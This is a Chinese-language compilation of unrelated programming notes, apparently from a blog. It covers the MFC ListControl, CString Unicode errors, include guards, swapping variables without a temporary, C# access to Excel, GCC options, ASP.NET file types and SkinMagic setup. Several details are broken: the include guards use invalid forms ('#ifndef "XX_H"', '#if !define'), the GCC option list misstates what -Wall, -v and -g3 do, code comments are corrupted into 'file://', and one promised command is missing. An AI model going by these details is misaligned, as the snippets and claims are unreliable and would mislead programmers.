一、基本使用
1.新加ListControl 控件,屬性中的style屬性頁下的View選擇Report。
并設(shè)置其對應(yīng)的控制變量如:m_list1。

2.初始化,即設(shè)置列。 用m_list1。
m_list1.InsertColumn(0,"曲名"); //插入列
m_list1.InsertColumn(1,"類型");
m_list1.InsertColumn(2,"長度");
m_list1.InsertColumn(3,"路徑");

CRect rect4;
m_list1.GetClientRect(rect4); //獲得當(dāng)前客戶區(qū)信息
m_list1.SetColumnWidth(0,rect4.Width()/4); //設(shè)置列的寬度。
m_list1.SetColumnWidth(1,rect4.Width()/5);
m_list1.SetColumnWidth(2,rect4.Width()/5);
m_list1.SetColumnWidth(3,rect4.Width()*8/20);

這部分初始化操作,最好放在對話框類的OnInitDialog()函數(shù)里,自動初始化。

3.插入數(shù)據(jù)
m_list1.InsertItem(0,"大海"); //插入第一個(gè)數(shù)據(jù),即第0條數(shù)據(jù)。先插入,然后在修改其他的信息。
m_list1.SetItemText(0,1,"MP3"); //修改第0條數(shù)據(jù)的其他信息。
m_list1.SetItemText(0,2,"4:20");
m_list1.SetItemText(0,3,"c:\");

4.刪除所有數(shù)據(jù)
m_list1.DeleteAllItems();
二、其他技巧

1.如何設(shè)置ListView控件的完全行(Full Row)選項(xiàng)。
這個(gè)控件有個(gè)地方常常很惱人,那就是在報(bào)告視圖中選中一行時(shí),它只加亮最左邊的一個(gè)欄目。
為了克服這個(gè)問題,這里告訴你一個(gè)方法:向ListView控件發(fā)送一個(gè)LVM_SETEXTENDEDLISTVIEWSTYLE消息。
::SendMessage(m_list1.m_hWnd, LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT, LVS_EX_FULLROWSELECT);
摘要: CFileDialog文件選擇對話框的使用:首先構(gòu)造一個(gè)對象并提供相應(yīng)的參數(shù),構(gòu)造函數(shù)原型如下: CFileDialog::CFileDialog( BOOL bOpenFileDialog, LPCTSTR lpszDefExt = NULL, LPCTSTR lpszFileName = NULL, DWORD dwFlags = OFN_HIDEREADONLY | OFN_OVERWRIT...
閱讀全文
開發(fā)環(huán)境VS2005
tempratureall[]為一個(gè)整數(shù)數(shù)組且已經(jīng)賦值
CDC *pDC=GetDC();
CString s;
s.Format("%d", tempratureall[1]);
pDC->TextOut(20,39,s);
總是提示出錯(cuò)
error C2664: “void ATL::CStringT <BaseType,StringTraits>::Format(const wchar_t *,...)”: 不能將參數(shù) 1 從“const char [3]”轉(zhuǎn)換為“const wchar_t *”
網(wǎng)友回復(fù):itoa
網(wǎng)友回復(fù):s.Format( _T("%d"), tempratureall[1]);
網(wǎng)友回復(fù):用itoa也試過了也不行
itoa(tempratureall[1],&s,10);
網(wǎng)友回復(fù):s.Format(_T("%d"), tempratureall[1]);
////////////////////////////////////////////////////////////////////////////////////////////////
我建立了以個(gè)簡單的MFC框架,然后在
void CMy1View::OnDraw(CDC* pDC)
函數(shù)中插入了如下的代碼
CString strOutput;
strOutput.Format("%s","Hello World!");
pDC -> TextOut(0,0,strOutput);
為什么編譯的時(shí)候出現(xiàn)了
錯(cuò)誤 1 error C2664: “void ATL::CStringT<BaseType,StringTraits>::Format(const wchar_t *,...)”: 不能將參數(shù) 1 從“const char [3]”轉(zhuǎn)換為“const wchar_t *”
這個(gè)錯(cuò)誤??
很不理解,書上也是這么寫的。。。我初學(xué),真不知道怎么辦了。
如果就加
pDC -> TextOut(0,0,"Hello World!");
也出現(xiàn)錯(cuò)誤
錯(cuò)誤 1 error C2664: “BOOL CDC::TextOutW(int,int,const CString &)”: 不能將參數(shù) 3 從“const char [13]”轉(zhuǎn)換為“const CString &”
為什么呢?
////////
最佳答案
你在頭文件里包含#include <tchar.h>
然后這樣初始化
strOutput.Format(_T("%s"),_T("Hello World!"));
因?yàn)槟J(rèn)情況下,字符串都是unicode的形式,
用unicode在nt以上的系統(tǒng)是一個(gè)很好的方式
在windows平臺下,有一個(gè)很方便的宏:
#pragma once
指定當(dāng)前文件在構(gòu)建時(shí)只被包含(或打開)一次,這樣就可以減少構(gòu)建的時(shí)間,因?yàn)榧尤?pragma once后,編譯器在打開或讀取第一個(gè)#include 模塊后,就不會再打開或讀取隨后出現(xiàn)的相同#include 模塊.
另外,還可以用條件編譯語句來實(shí)現(xiàn):
#ifndef "XX_H"
#define "XX_H"
<頭文件定義正文>
#endif
顯然后者的移植性更好一點(diǎn)。
有下面的自定義結(jié)構(gòu)體,定義在sample.h中。
--------------------------------------------
typedef struct sample{
int trueNumber;
double feature[13];
}SAMPLE;
--------------------------------------------
類A,類B都#include<sample.h>,主程序都調(diào)用了類A,類B;就會出現(xiàn)
error C2011: ''sample'' : ''struct'' type redefinition
解決方法:寫上宏定義:
-----------------------------------
#ifndef sample_H_H
#define sample_H_H
typedef struct sample{
int trueClass;
double feature[13];
}SAMPLE;
#endif
---------------------------------------
也可以這樣寫
----------------------------------
#if !define sample_H_H
#define sample_H_H
typedef struct sample{
int trueClass;
double feature[13];
}SAMPLE;
#endif
-------------------------------
意思是:
if(宏sample_H_H,沒有被定義過)
{
定義宏sample_H_H
........(執(zhí)行)other code
}
實(shí)際上sample_H_H作為一個(gè)標(biāo)記而存在
自定義一個(gè)類時(shí),在所有的頭文件中都應(yīng)用這組宏處理
注意是#ifndef不是#ifdef
-----------------------------------
#ifndef 標(biāo)記名(常以類名_H_H,兩個(gè)標(biāo)記名要相同)
#define 標(biāo)記名
//你原來的文件內(nèi)容
#endif
---------------------------------
第一類方法也是常用的方法,通過多次的數(shù)值計(jì)算來完成交換,到現(xiàn)在知道的有下面三種:
(1)加減法。
a = a + b;
b = a - b;
a = a - b;
該方法可以交換整型和浮點(diǎn)型數(shù)值的變量,但在處理浮點(diǎn)型的時(shí)候有可能出現(xiàn)精度的損失,例如對數(shù)據(jù):
a = 3.123456
b = 1234567.000000
交換后各變量值變?yōu)椋?/p>
a = 1234567.000000
b = 3.125000
很明顯,原來a的值在交換給b的過程中發(fā)生了精度損失。
(2)乘除法。
a = a * b;
b = a / b;
a = a / b;
乘除法更像是加減法向乘除運(yùn)算的映射,它與加減法類似:可以處理整型和浮點(diǎn)型變量,但在處理浮點(diǎn)型變量時(shí)也存在精度損失問題。而且乘除法比加減法要多一條約束:b必不為0。
可能經(jīng)驗(yàn)上的某種直覺告訴我們:加減法和乘除法可能會溢出,而且乘除的溢出會特別嚴(yán)重。其實(shí)不然,采用這兩種方法都不會溢出。以加減法為例,第一步的加運(yùn)算可能會造成溢出,但它所造成的溢出會在后邊的減運(yùn)算中被溢出回來。
(3)異或法。
a ^= b;//a=a^b
b ^= a;//b=b^(a^b)=b^a^b=b^b^a=0^a=a
a ^= b;//a=(a^b)^a=a^b^a=a^a^b=0^b=b
異或法可以完成對整型變量的交換,對于浮點(diǎn)型變量它無法完成交換。
第二類方法更像是玩了一個(gè)文字游戲,此種方法采用了在代碼中嵌入?yún)R編代碼的方法避免了臨時(shí)變量的引入,但究其本質(zhì)還是會使用額外的存儲空間。此種方法可以有很多種,下邊列出幾種:
(1)使用xchg指令,這也是比較直觀、容易想到的方法,因?yàn)閤chg指令的功能就是交換源操作數(shù)和目的操作數(shù)的值,這里要使用額外寄存器來暫存變量。內(nèi)嵌匯編代碼如下:
_asm
{
mov eax,a
xchg b,eax
mov a,eax
}
(2)使用額外的棧。這里使用反向的出棧順序來完成交換。內(nèi)嵌代碼有如下兩種形式:
_asm
{
push a
push b
pop a
pop b
}
另一種形式:
_asm push a
a = b;
_asm pop a
(3)使用mov指令。這種方法使用額外寄存器來暫存一個(gè)變量的值。
_asm mov eax,a
a = b;
_asm mov b,eax
其實(shí)第二類方法并不合格,它雖然沒有顯式的使用臨時(shí)變量,但還是會用到額外的存貯空間。不過也不能說沒有必要掌握,從實(shí)用的角度看還是很“有用”的。不是
有公司出過這樣的面試題嗎?“不使用加減法和異或法完成不使用中間變量交換兩個(gè)數(shù)值型變量的值”。此時(shí)或許只好使用這種方法了。
Excel是微軟公司辦公自動化套件中的一個(gè)軟件,他主要是用來處理電子表格。Excel以其功能強(qiáng)大,界面友好等受到了許多用戶的歡迎。在辦公的時(shí)候,正是由于Excel的這么多的優(yōu)點(diǎn),許多重要的數(shù)據(jù),往往以Excel電子表格的形式存儲起來。這樣就給程序員帶來了一個(gè)問題,雖然Excel功能比較強(qiáng)大,但畢竟不是數(shù)據(jù)庫,在程序中處理數(shù)據(jù)庫中的數(shù)據(jù)比其處理Excel表格中的數(shù)據(jù)容易許多。那么如何用Visual C#讀取Excel表格中的數(shù)據(jù)?在以前用Delphi編程的時(shí)候,對于不同的用戶,他們對于打印的需求是不一樣的,如果要使得程序中的打印功能適用于每一個(gè)用戶,可以想象程序設(shè)計(jì)是十分復(fù)雜的。這時(shí)想到Excel,由于Excel表格的功能強(qiáng)大,又由于幾乎每一臺機(jī)器都安裝了它,如果把程序處理的結(jié)果放到Excel表格中,這樣每一個(gè)用戶就可以根據(jù)自己的需要在Excel中定制自己的打印。這樣不僅使得程序設(shè)計(jì)簡單,而且又滿足了諸多用戶的要求,更加實(shí)用了。那么用Visual C#如何調(diào)用Excel,如何又把數(shù)據(jù)存放到Excel表格中?本文就來探討一下上述問題的解決辦法。
一.程序設(shè)計(jì)及運(yùn)行環(huán)境 (1).微軟視窗2000 服務(wù)器版
(2)..Net Framework SDK Beta 2
(3).Microsoft Data Access Component 2.6以上版本(MDAC2.6)
(4).Office 2000套件
二.Visual C#讀取Excel表格中的數(shù)據(jù):
本節(jié)將通過一個(gè)程序來介紹Visual C#讀取Excel表格中的數(shù)據(jù),并把數(shù)據(jù)以DataGrid的形式顯示出來。
(1).如何讀取數(shù)據(jù):
其實(shí)讀取Excel表格中的數(shù)據(jù)和讀取數(shù)據(jù)庫中的數(shù)據(jù)是非常類似的,因?yàn)樵谀撤N程度上Excel表格可以看成是一張一張的數(shù)據(jù)表。其二者的主要區(qū)別在于所使用的數(shù)據(jù)引擎不一樣。在本文的程序中,通過下列代碼實(shí)現(xiàn)讀取Excel表格數(shù)據(jù),具體如下:
//創(chuàng)建一個(gè)數(shù)據(jù)鏈接 string strCon = " Provider = Microsoft.Jet.OLEDB.4.0 ; Data Source = c:sample.xls;Extended Properties=Excel 8.0" ; OleDbConnection myConn = new OleDbConnection ( strCon ) ; string strCom = " SELECT * FROM [Sheet1$] " ; myConn.Open ( ) ; file://打開數(shù)據(jù)鏈接,得到一個(gè)數(shù)據(jù)集 OleDbDataAdapter myCommand = new OleDbDataAdapter ( strCom , myConn ) ; file://創(chuàng)建一個(gè) DataSet對象 myDataSet = new DataSet ( ) ; file://得到自己的DataSet對象 myCommand.Fill ( myDataSet , "[Sheet1$]" ) ; file://關(guān)閉此數(shù)據(jù)鏈接 myConn.Close ( ) ; |
怎么樣讀取Excel表格中的數(shù)據(jù)其實(shí)和讀取數(shù)據(jù)庫中的數(shù)據(jù)沒有什么實(shí)質(zhì)上的區(qū)別。
注釋:這里讀取的是C盤根目錄下的"Sample.xls"文件。
(2).用DataGrid來顯示得到的數(shù)據(jù)集:
在得到DataSet對象后,只需要通過下列二行代碼,就可以把數(shù)據(jù)集用DataGrid顯示出來了:
DataGrid1.DataMember= "[Sheet1$]" ; DataGrid1.DataSource = myDataSet ; |
(3).用Visual C#讀取Excel表格,并用DataGrid顯示出來的程序代碼(Read.cs)和程序運(yùn)行的界面:
掌握了上面二點(diǎn),水到渠成就可以得到以下代碼:
using System ; using System.Drawing ; using System.Collections ; using System.ComponentModel ; using System.Windows.Forms ; using System.Data ; using System.Data.OleDb ; public class Form1 : Form { private Button button1 ; private System.Data.DataSet myDataSet ; private DataGrid DataGrid1 ; private System.ComponentModel.Container components = null ;
public Form1 ( ) { file://初始化窗體中的各個(gè)組件 InitializeComponent ( ) ; file://打開數(shù)據(jù)鏈接,得到數(shù)據(jù)集 GetConnect ( ) ; } file://清除程序中使用過的資源 protected override void Dispose ( bool disposing ) { if ( disposing ) { if ( components != null ) { components.Dispose ( ) ; } } base.Dispose ( disposing ) ; }
private void GetConnect ( ) { file://創(chuàng)建一個(gè)數(shù)據(jù)鏈接 string strCon = " Provider = Microsoft.Jet.OLEDB.4.0 ; Data Source = c:sample.xls;Extended Properties=Excel 8.0" ; OleDbConnection myConn = new OleDbConnection ( strCon ) ; string strCom = " SELECT * FROM [Sheet1$] " ; myConn.Open ( ) ; file://打開數(shù)據(jù)鏈接,得到一個(gè)數(shù)據(jù)集 OleDbDataAdapter myCommand = new OleDbDataAdapter ( strCom , myConn ) ; file://創(chuàng)建一個(gè) DataSet對象 myDataSet = new DataSet ( ) ; file://得到自己的DataSet對象 myCommand.Fill ( myDataSet , "[Sheet1$]" ) ; file://關(guān)閉此數(shù)據(jù)鏈接 myConn.Close ( ) ; } private void InitializeComponent ( ) { DataGrid1 = new DataGrid ( ) ; button1 = new Button ( ) ; SuspendLayout ( ) ; DataGrid1.Name = "DataGrid1"; DataGrid1.Size = new System.Drawing.Size ( 400 , 200 ) ;
button1.Location = new System.Drawing.Point ( 124 , 240 ) ; button1.Name = "button1" ; button1.TabIndex = 1 ; button1.Text = "讀取數(shù)據(jù)" ; button1.Size = new System.Drawing.Size (84 , 24 ) ; button1.Click += new System.EventHandler ( this.button1_Click ) ;
this.AutoScaleBaseSize = new System.Drawing.Size ( 6 , 14 ) ; this.ClientSize = new System.Drawing.Size ( 400 , 280 ) ; this.Controls.Add ( button1 ) ; this.Controls.Add ( DataGrid1 ) ; this.Name = "Form1" ; this.Text = "讀取Excle表格中的數(shù)據(jù),并用DataGrid顯示出來!" ; this.ResumeLayout ( false ) ;
} private void button1_Click ( object sender , System.EventArgs e ) { DataGrid1.DataMember= "[Sheet1$]" ; DataGrid1.DataSource = myDataSet ;
} static void Main ( ) { Application.Run ( new Form1 ( ) ) ; } }
|
下圖是程序編譯后,運(yùn)行結(jié)果:
 圖01:用Visual C#讀取"c:sample.xls"的運(yùn)行界面
|
(4).總結(jié):
以上只是讀取了Excel表格中"Sheet1"中的數(shù)據(jù),對于其他"Sheet"中的內(nèi)容,可以參照讀取"Sheet1"中的程序,只作一點(diǎn)修改就可以了,譬如要讀取"Sheet2"中的內(nèi)容,只需要把"Read.cs"程序中的"Sheet1$"改成"Sheet2$"就可以了。
三.Visual C#調(diào)用Excel表格,并在Excel表格中存儲數(shù)據(jù):
在Visual C#中調(diào)用Excel表格,并不像讀取Excel表格中的數(shù)據(jù)那么容易了,因?yàn)樵赩isual C#中調(diào)用Excel表格要使用到Excel的COM組件。如果你安裝Office套件在"C"盤,那么在"C:Program FilesMicrosoft OfficeOffice"可以找到這個(gè)COM組件"EXCEL9.OLB",在《Visual C#如何使用Active X組件》一文中,這些COM組件都是非受管代碼的,要在Visual C#中使用這些非受管代碼的COM組件,就必須把他們轉(zhuǎn)換成受管代碼的類庫。所以在用Visual C#調(diào)用Excel表格之前,必須完成從COM組件的非受管代碼到受管代碼的類庫的轉(zhuǎn)換。
(1).非受管代碼COM組件轉(zhuǎn)換成受管代碼的類庫:
首先把COM組件"EXCEL9.OLB"拷貝到C盤的根目錄下,然后輸入下列命令:
這樣在C盤的根目錄下面就產(chǎn)生了三個(gè)DLL文件:"Excel.dll"、"Office.dll"、"VBIDE.dll"。在產(chǎn)生了上面的三個(gè)文件后,這種轉(zhuǎn)換就成功完成了。在下面的程序中,就可以利用這轉(zhuǎn)換好的三個(gè)類庫編寫和Excel表格相關(guān)的各種操作了。
(2).Visual C#打開Excel表格:
在"Excel.dll"中定義了一個(gè)命名空間"Excel",在差命名空間中封裝了一個(gè)類"Application",這個(gè)類和啟動Excel表格有非常重要的關(guān)系,在Visual C#中,只需要下列三行代碼就可以完成打開Excel表格的工作,具體如下:
Excel.Application excel = new Excel.Application ( ) ; excel.Application.Workbooks.Add ( true ) ;
excel.Visible = true ; |
但此時(shí)的Excel表格是一個(gè)空的表格,沒有任何內(nèi)容,下面就來介紹如何往Excel表格中輸入數(shù)據(jù)。
(3).往Excel表格中輸入數(shù)據(jù):
在命名空間"Excel"中,還定義了一個(gè)類"Cell",這個(gè)類所代表的就是Excel表格中的一個(gè)下單元。通過給差"Cell"賦值,從而實(shí)現(xiàn)往Excel表格中輸入相應(yīng)的數(shù)據(jù),下列代碼功能是打開Excel表格,并且往表格輸入一些數(shù)據(jù)。
Excel.Application excel = new Excel.Application ( ) ; excel.Application.Workbooks.Add ( true ) ; excel.Cells[ 1 , 1 ] = "第一行第一列" ; excel.Cells[ 1 , 2 ] = "第一行第二列" ; excel.Cells[ 2 , 1 ] = "第二行第一列" ; excel.Cells[ 2 , 2 ] = "第二行第二列" ; excel.Cells[ 3 , 1 ] = "第三行第一列" ; excel.Cells[ 3 , 2 ] = "第三行第二列" ; excel.Visible = true ; |
(4). Visual C#調(diào)用Excel表格,并在Excel表格中存儲數(shù)據(jù)的程序代碼(Excel.cs):
了解了上面的這些知識,得到完成上述功能的程序代碼就顯得比較容易了,具體如下:
using System ; using System.Drawing ; using System.Collections ; using System.ComponentModel ; using System.Windows.Forms ; using System.Data ; using System.Data.SqlClient ; public class Form1 : Form { private Button button1 ; private System.ComponentModel.Container components = null ; public Form1 ( ) { file://初始化窗體中的各個(gè)組件 InitializeComponent ( ) ; } file://清除程序中使用的各個(gè)資源 protected override void Dispose ( bool disposing ) { if ( disposing ) { if ( components != null ) { components.Dispose ( ) ; } } base.Dispose( disposing ) ; } private void InitializeComponent ( ) { button1 = new Button ( ) ; SuspendLayout ( ) ; button1.Location = new System.Drawing.Point ( 32 , 72 ) ; button1.Name = "button1" ; button1.Size = new System.Drawing.Size ( 100 , 30 ) ; button1.TabIndex = 0 ; button1.Text = "調(diào)用Excel文件!" ; button1.Click += new System.EventHandler ( button1_Click ) ;
AutoScaleBaseSize = new System.Drawing.Size ( 5 , 13 ) ;
this.ClientSize = new System.Drawing.Size ( 292 , 273 ) ; this.Controls.Add ( button1 ) ; this.Name = "Form1" ; this.Text = "如何用Visual C#調(diào)用Excel表格!" ; this.ResumeLayout ( false ) ;
} static void Main ( ) { Application.Run ( new Form1 ( ) ) ; } private void button1_Click ( object sender , System.EventArgs e ) { Excel.Application excel = new Excel.Application ( ) ; excel.Application.Workbooks.Add ( true ) ; excel.Cells[ 1 , 1 ] = "第一行第一列" ; excel.Cells[ 1 , 2 ] = "第一行第二列" ; excel.Cells[ 2 , 1 ] = "第二行第一列" ; excel.Cells[ 2 , 2 ] = "第二行第二列" ; excel.Cells[ 3 , 1 ] = "第三行第一列" ; excel.Cells[ 3 , 2 ] = "第三行第二列" ; excel.Visible = true ; } }
|
(5).編譯源程序和程序運(yùn)行界面:
在經(jīng)過了下列命令編譯后:
Csc.exe /r:system.dll /r:system.windows.forms.dll /r:system.drawing.dll /r:excel.dll /r:office.dll /r:vbide.dll excel.cs |
就可以得到"Excel.exe",運(yùn)行后界面如下:
 圖02:Visual C#調(diào)用Excel表格,并存儲數(shù)據(jù)的程序運(yùn)行界面 |
四.Visual C#處理Office套件中的其他成員程序:
本文雖然只介紹了Visual C#在處理Excel表格中經(jīng)常遇到的一些問題的解決方法,但其實(shí)對Office套件的其他成員也有很強(qiáng)的借鑒意義,譬如Visual C#來處理Word文檔,在調(diào)用Word文檔的時(shí)候,必須先完成COM組件從非受管代碼到受管代碼的轉(zhuǎn)換,Word的COM組件位"MSWORD9.OLB",經(jīng)過轉(zhuǎn)換后也會產(chǎn)生三個(gè)DLL文件,但分別是"Word.dll"、"Office.dll"、"VBIDE.dll"。其實(shí)在Visual C#中調(diào)用Word,也非常容易。只需要把調(diào)用Excel表格中的代碼換成調(diào)用Word的代碼就可以了,具體如下:
Word.Application word = new Word.Application ( ) ; word.Application.Visible = true ; |
不信你試一下,看看是否達(dá)到你的要求。對于針對Word的其他的操作,總體來說和對Excel表格的操作相類似。由于針對Word只是一個(gè)文檔,程序?qū)ord進(jìn)行的操作是比較少的,所以就不一一介紹了。
五.總結(jié):
本文介紹Visual C#來處理Excel表格的幾種最常遇到的情況,雖然針對的只是Excel表格,但對其他Office套件中的成員也具有十分的借鑒意義。
編譯:
第一步、是進(jìn)行預(yù)編譯,使用-E參數(shù)可以讓GCC在預(yù)處理結(jié)束后停止編譯過程:
gcc -E hello.c -o hello.i
預(yù)處理的宏定義插入到hello.i中
第二步、是將hello.i編譯為目標(biāo)代碼,這可以通過使用-c參數(shù)來完成:
gcc -c hello.i -o hello.o
也可以通過源文件直接生成
gcc -c hello.c
第三步、是將生成的目標(biāo)文件鏈接成可執(zhí)行文件:
gcc hello.o -o hello
也可以通過源文件直接生成
gcc -o hello hello.c
警告:
1、-pedantic 選項(xiàng),那么使用了擴(kuò)展語法的地方將產(chǎn)生相應(yīng)的警告信息
2、-Wall 使用它能夠使GCC產(chǎn)生盡可能多的警告信息
3、-Werror,它要求GCC將所有的警告當(dāng)成錯(cuò)誤進(jìn)行處理
庫依賴:
1、Linux下的大多數(shù)函數(shù)都默認(rèn):
頭文件放到/usr/include/目錄下
而庫文件則放到/usr/lib/目錄下
2、GCC在編譯時(shí)必須有自己的辦法來查找所需要的頭文件和庫文件。
-I選項(xiàng)可以向GCC的頭文件搜索路徑中添加新的目錄。
例如,如果在/home/xiaowp/include/目錄下有編譯時(shí)所需要的頭文件,為了讓GCC能夠順利地找到它們,就可以使用-I選項(xiàng):
gcc -o test test.c -I /home/xiaowp/include
-L選項(xiàng)向GCC的庫文件搜索路徑中添加新的目錄
例如,如果在/home/xiaowp/lib/目錄下有鏈接時(shí)所需要的庫文件libfoo.so,為了讓GCC能夠順利地找到它,可以使用下面的命令
gcc -o test test.c -L /home/xiaowp/lib -lfoo
值得好好解釋一下的是-l選項(xiàng),它指示GCC去連接庫文件libfoo.so。
Linux下的庫文件在命名時(shí)有一個(gè)約定,那就是應(yīng)該以lib三個(gè)字母開頭,由于所有的庫文件都遵循了同樣的規(guī)范,因此在用-l選項(xiàng)指定鏈接的庫文件名時(shí)可以省去lib三個(gè)字母,也就是說GCC在對-lfoo進(jìn)行處理時(shí),會自動去鏈接名為libfoo.so的文件。
-static選項(xiàng),強(qiáng)制使用靜態(tài)鏈接庫
如果在/home/xiaowp/lib/目錄下有鏈接時(shí)所需要的庫文件libfoo.so和libfoo.a
為了讓GCC在鏈接時(shí)只用到靜態(tài)鏈接庫,可以使用下面的命令:
gcc -o test test.c -L /home/xiaowp/lib -static -lfoo
選項(xiàng)-O可以告訴GCC同時(shí)減小代碼的長度和執(zhí)行時(shí)間,其效果等價(jià)于-O1。
在這一級別上能夠進(jìn)行的優(yōu)化類型雖然取決于目標(biāo)處理器,但一般都會包括線程跳轉(zhuǎn)(Thread Jump)和延遲退棧(Deferred Stack Pops)兩種優(yōu)化。
選項(xiàng)-O2告訴GCC除了完成所有-O1級別的優(yōu)化之外,同時(shí)還要進(jìn)行一些額外的調(diào)整工作,如處理器指令調(diào)度等。
選項(xiàng)-O3則除了完成所有-O2級別的優(yōu)化之外,還包括循環(huán)展開和其它一些與處理器特性相關(guān)的優(yōu)化工作。
通常來說,數(shù)字越大優(yōu)化的等級越高,同時(shí)也就意味著程序的運(yùn)行速度越快。
許多Linux程序員都喜歡使用-O2選項(xiàng),因?yàn)樗趦?yōu)化長度、編譯時(shí)間和代碼大小之間,取得了一個(gè)比較理想的平衡點(diǎn)。
time ./test 查看程序執(zhí)行時(shí)間
優(yōu)化雖然能夠給程序帶來更好的執(zhí)行性能,但在如下一些場合中應(yīng)該避免優(yōu)化代碼:
程序開發(fā)的時(shí)候優(yōu)化等級越高,消耗在編譯上的時(shí)間就越長,因此在開發(fā)的時(shí)候最好不要使用優(yōu)化選項(xiàng),只有到軟件發(fā)行或開發(fā)結(jié)束的時(shí)候,才考慮對最終生成的代碼進(jìn)行優(yōu)化。
資源受限的時(shí)候一些優(yōu)化選項(xiàng)會增加可執(zhí)行代碼的體積,如果程序在運(yùn)行時(shí)能夠申請到的內(nèi)存資源非常緊張(如一些實(shí)時(shí)嵌入式設(shè)備),那就不要對代碼進(jìn)行優(yōu)化,因?yàn)橛蛇@帶來的負(fù)面影響可能會產(chǎn)生非常嚴(yán)重的后果。
跟蹤調(diào)試的時(shí)候在對代碼進(jìn)行優(yōu)化的時(shí)候,某些代碼可能會被刪除或改寫,或者為了取得更佳的性能而進(jìn)行重組,從而使跟蹤和調(diào)試變得異常困難。
加速:
使用管道代替編譯中臨時(shí)文件,
-pipe 加速編譯
gcc -pipe foo.c -o foo
GCC常用選項(xiàng)
-c 通知GCC取消鏈接步驟,即編譯源碼并在最后生成目標(biāo)文件;
-Dmacro 定義指定的宏,使它能夠通過源碼中的#ifdef進(jìn)行檢驗(yàn);
-E 不經(jīng)過編譯預(yù)處理程序的輸出而輸送至標(biāo)準(zhǔn)輸出;
-g3 獲得有關(guān)調(diào)試程序的詳細(xì)信息,它不能與-o選項(xiàng)聯(lián)合使用;
-Idirectory 在包含文件搜索路徑的起點(diǎn)處添加指定目錄;
-llibrary 提示鏈接程序在創(chuàng)建最終可執(zhí)行文件時(shí)包含指定的庫;
-O、-O2、-O3 將優(yōu)化狀態(tài)打開,該選項(xiàng)不能與-g選項(xiàng)聯(lián)合使用;
-S 要求編譯程序生成來自源代碼的匯編程序輸出;
-v 啟動所有警報(bào);
-Wall 在發(fā)生警報(bào)時(shí)取消編譯操作,即將警報(bào)看作是錯(cuò)誤;
-Werror 在發(fā)生警報(bào)時(shí)取消編譯操作,即把報(bào)警當(dāng)作是錯(cuò)誤;
-w 禁止所有的報(bào)警
.sln:解決方案文件,為解決方案資源管理器提供顯示管理文件的圖形接口所需的信息。
.csproj:項(xiàng)目文件,創(chuàng)建應(yīng)用程序所需的引用、數(shù)據(jù)連接、文件夾和文件的信息。
.aspx:Web 窗體頁由兩部分組成:視覺元素(HTML、服務(wù)器控件和靜態(tài)文本)和該頁的編程邏輯。Visual Studio 將這兩個(gè)組成部分分別存儲在一個(gè)單獨(dú)的文件中。視覺元素在.aspx 文件中創(chuàng)建。
.ascx:ASP.NET的用戶控件(也叫做“pagelets”),是作為一種封裝了特定功能和行為(這兩者要被用在Web應(yīng)用程序的各種頁面上)的Web頁面被開發(fā)的。一個(gè)用戶控件包含了HTML、代碼和其他Web或者用戶控件的組合,并在Web服務(wù)器上以自己的文件格式保存,其擴(kuò)展名是*.ascx。ASP.NET里的缺省配置并不允許Web客戶端通過URL來訪問這些文件,但是這個(gè)網(wǎng)站的其他頁面可以集成這些文件里所包含的功能。
.aspx.cs:Web 窗體頁的編程邏輯位于一個(gè)單獨(dú)的類文件中,該文件稱作代碼隱藏類文件(.aspx.cs)。
.cs: 類模塊代碼文件。業(yè)務(wù)邏輯處理層的代碼。
.asax:Global.asax 文件(也叫做 ASP.NET 應(yīng)用程序文件)是一個(gè)可選的文件,該文件包含響應(yīng) ASP.NET 或 HTTP 模塊引發(fā)的應(yīng)用程序級別事件的代碼。
.config:Web.config 文件向它們所在的目錄和所有子目錄提供配置信息。
.aspx.resx/.resx:資源文件,資源是在邏輯上由應(yīng)用程序部署的任何非可執(zhí)行數(shù)據(jù)。通過在資源文件中存儲數(shù)據(jù),無需重新編譯整個(gè)應(yīng)用程序即可更改數(shù)據(jù)。 51aspx.com
.XSD:XML schema的一種.從DTD,XDR發(fā)展到XSD
.pdb:PDB(程序數(shù)據(jù)庫)文件保持著調(diào)試和項(xiàng)目狀態(tài)信息,從而可以對程序的調(diào)試配置進(jìn)行增量鏈接。
.suo:解決方案用戶選項(xiàng),記錄所有將與解決方案建立關(guān)聯(lián)的選項(xiàng),以便在每次打開時(shí),它都包含您所做的自定義設(shè)置。
.asmx:.asmx文件包含 WebService 處理指令,并用作 XML Web services 的可尋址入口點(diǎn) 51aspx。
.vsdisco(項(xiàng)目發(fā)現(xiàn))文件 基于 XML 的文件,它包含為 Web 服務(wù)提供發(fā)現(xiàn)信息的資源的鏈接 (URL-51aspx )。
.htc:一個(gè)HTML文件,包含腳本和定義組件的一系列HTC特定元素.htc提供在腳本中implement組件的機(jī)制
1.把:SkinMagicLib.h,DETOURS.lib,SkinMagicLib.lib三個(gè)文件拷入工程目錄
注意:如果你的工程是使用的共享DLL,那么你要選擇共享DLL的SkinMagicLib.h,SkinMagicLib.lib
如果你的程序是使用的靜態(tài)連接DLL的,那你選擇靜態(tài)的SkinMagicLib.h,SkinMagicLib.lib
否則連接時(shí)出問題...
2."工程"->添加到工程->文件->將DETOURS.lib,SkinMagicLib.lib添加到工程中
3.在stdafx.h中,加入#include "SkinMagicLib.h"
4.將皮膚文件拷入工程目錄中的"rec"文件夾中
5.工作空間中切換到ResourceView,右鍵選"引入",在彈出的對話框中找到皮膚文件,選中將其插入到工程文件中
在接下來的對話框中起個(gè)文件夾名:"SKINMAGIC",將皮膚文件插入到該文件夾中
6.皮膚文件插入到工程后,可在ResourceView中找到皮膚文件的ID,右鍵選屬性,改ID名字
7.在ClassView中找到CxxxAPP類.然后找到InitInstance()函數(shù),然后在
m_pMainWnd->ShowWindow(SW_SHOW);
m_pMainWnd->UpdateWindow();
之前加入以下代碼:
VERIFY( 1 == InitSkinMagicLib( AfxGetInstanceHandle(), "Demo" ,
NULL,
NULL ) );
VERIFY( 1 == LoadSkinFromResource( AfxGetInstanceHandle() , "XPGREEN" ,"SKINMAGIC") );
VERIFY( 1 == SetWindowSkin( m_pMainWnd->m_hWnd , "MainFrame" ));
VERIFY( 1 == SetDialogSkin( "Dialog" ) );
8.在CxxxAPP類中,右鍵選AddVirtualFunction,然后添加ExitInstance()函數(shù),在其中加入:
ExitSkinMagicLib();
9.編譯,連接,執(zhí)行...OK,皮膚添加完成...
